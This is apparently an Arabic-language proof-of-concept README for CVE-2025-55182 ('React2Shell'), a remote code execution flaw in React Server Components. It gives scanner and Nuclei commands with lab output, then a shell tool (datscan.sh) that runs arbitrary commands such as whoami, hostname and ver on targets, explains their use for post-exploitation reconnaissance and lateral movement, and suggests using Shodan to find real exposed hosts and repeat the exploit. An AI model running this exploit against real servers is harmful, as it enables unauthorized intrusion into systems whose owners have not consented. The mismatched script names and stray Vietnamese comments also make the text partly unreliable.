
إثبات مفهوم لاستغلال ثغرة CVE-2025-55182 (React2Shell) الخاصة بتنفيذ الأوامر عن بُعد (RCE) في مكونات خادم React. يتضمن ماسحًا للأنظمة المستهدفة الضعيفة وسكربت شل لتنفيذ الأوامر عن بُعد. مخصص لاختبار الأمان المصرح به والأغراض التعليمية فقط.
CVE-2025-55182، المعروف أيضًا باسم React2Shell، هو ثغرة Remote Code Execution (RCE) خطيرة تؤثر على React Server Components (RSC). ويستخدم بروتوكول Flight للتواصل بين العميل والخادم. عندما يطلب العميل البيانات، يستقبل الخادم حمولة (payload) ويحللها، مما قد يسمح للمهاجم بإدخال بنى خبيثة أو مقاطع تعليمات برمجية عشوائية يقبلها React على أنها صالحة.
| البند | المحتوى |
|---|---|
| الخطورة | Critical (CVSS 10.0) |
| النوع | Unsafe Deserialization (CWE-502) |
| طريقة الهجوم | Remote, no authentication required |
| الإصدارات المتأثرة: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 و Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
يعالج الخادم الحمولة القادمة من العميل دون تحقق كافٍ، مما يسمح للمهاجم بـ:
تم اكتشاف أنشطة استغلال مرتبطة بهذه الثغرة منذ 5 ديسمبر 2025. معظم عمليات الاستغلال الناجحة نشأت من تقييمات فرق الهجوم. كل من بيئتي Windows وLinux متأثرتان.
التثبيت
pip install -r requirements.txt
افحص خادمًا معرضًا للثغرة:
python3 scanner.py -u https://example.com
أدخل المسار المراد فحصه (هنا أدخلت جهازي المعرض للثغرة وهو http://192.168.10.1:3000)
النتيجة التي حصلت عليها:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
افحص قائمة بالخوادم:
python3 scanner.py -l hosts.txt
الفحص بعدة خيوط وحفظ النتائج:
python3 scanner.py -l hosts.txt -t 20 -o results.json
الفحص باستخدام ترويسات مخصصة:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
فحص أهداف Windows:
python3 scanner.py -u https://example.com --windows
استخدام طريقة كشف جانبية آمنة:
python3 scanner.py -u https://example.com --safe-check
كما ترى، نحن أمام ثغرة أمنية، مما يعني أن الخادم الذي نقدمه عرضة للهجوم من قبل المهاجم.
الآن سنستخدم Nuclei للتحقق مما إذا كان الخادم أعلاه مصابًا بثغرة لها PoC أم لا. تعمل هذه الوظيفة عن طريق إرسال طلبات مخصصة، وتقليل الإنذارات الكاذبة (false positive)، ودعم الفحص المتوازي.
nuclei -t scan.yaml -u http://192.168.10.1:3000
النتيجة التي تم الحصول عليها
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
اكتشف النظام أن هذا الخادم معرض للثغرة ويمكن استغلاله عبر CVE-2025-55182. ومن هنا يمكنك أن ترى أنها ثغرة خطيرة ومهمة للغاية، وقد انتشرت لها الكثير من أدوات PoC على منصات التواصل الاجتماعي. ☺☺☺
يمكنك أن ترى أن هذه المعلومات وحدها كافية لتأكيد وجود الثغرة الأمنية في التطبيق أعلاه. ولإثبات أنه يمكن استغلال هذا التطبيق لتشغيل أمر أو تنفيذ تعليمات برمجية عن بُعد، سأبدأ بـ PoC.
chmod +x scanner.sh
# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com
# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"
# With full URL
./datscan.sh -d example.com -c "uname -a"
المعنى:
يعيد المستخدم الحالي الذي يقوم بتشغيل عملية الخادم
يساعد في تحديد:
=> هذا هو الأمر الأكثر أساسية لتأكيد نجاح RCE
-d, --domain - domain/URL-c, --command - الأمر المطلوب تنفيذه (مثال: whoami, hostname,...)# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
| معنى أوامر التنفيذ | المحتوى |
|---|---|
| يعيد اسم المضيف (host name) | يُستخدم من أجل: - تحديد النظام المتأثر - دعم الحركة الجانبية (lateral movement) (داخل البيئة الداخلية) |
| تحديد إصدار نظام التشغيل | مهم من أجل: -تقييم إمكانية مواصلة الاستغلال (privilege escalation) - اختيار الاستغلال (exploit) المناسب |
| اختبار تنفيذ الأوامر | يُستخدم لتصحيح أخطاء الحمولة / الماسح الضوئي |
| يعيد اسم المستخدم الحالي | في هذه الحالة: - إذا كان المستخدم ADMIN → فقد يكون لديه صلاحيات عالية - أكثر أهمية من whoami في بعض حالات Windows |
| يعيد اسم المضيف | يعيد اسم المضيف عبر متغير بيئة (environment variable) |
هذه هي خطوة الاستطلاع الأولي (initial reconnaissance) بعد نجاح الاستغلال.
يساعدنا في التأكد من: عمل RCE، تحديد نظام التشغيل،...
نظرًا لأن هذه التجربة العملية أجريها في بيئة معملية شخصية لتجنب أي مسائل قانونية، فإن استخدام ترويسات HTTP لسرقة البيانات، أو المخرجات الكبيرة، أو الأحرف الخاصة قد يؤدي إلى:
ERR_INVALID_CHAR
الأوامر القصيرة (مثل: whoami, ver) أكثر موثوقية للتوضيح في بيئة الاختبار أعلاه.
إذا لم يعجبك ذلك، يمكنك استخدام Shodan لفحص عناوين IP مباشرة في البيئة الحقيقية وتنفيذ ما قمت به في هذه التجربة للاستغلال (غير مستحسن).
كما ذُكر أعلاه، هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرح به فقط. لا تستخدم هذه الأداة لاختبار الأنظمة التي لا تملكها أو ليس لديك إذن باختبارها.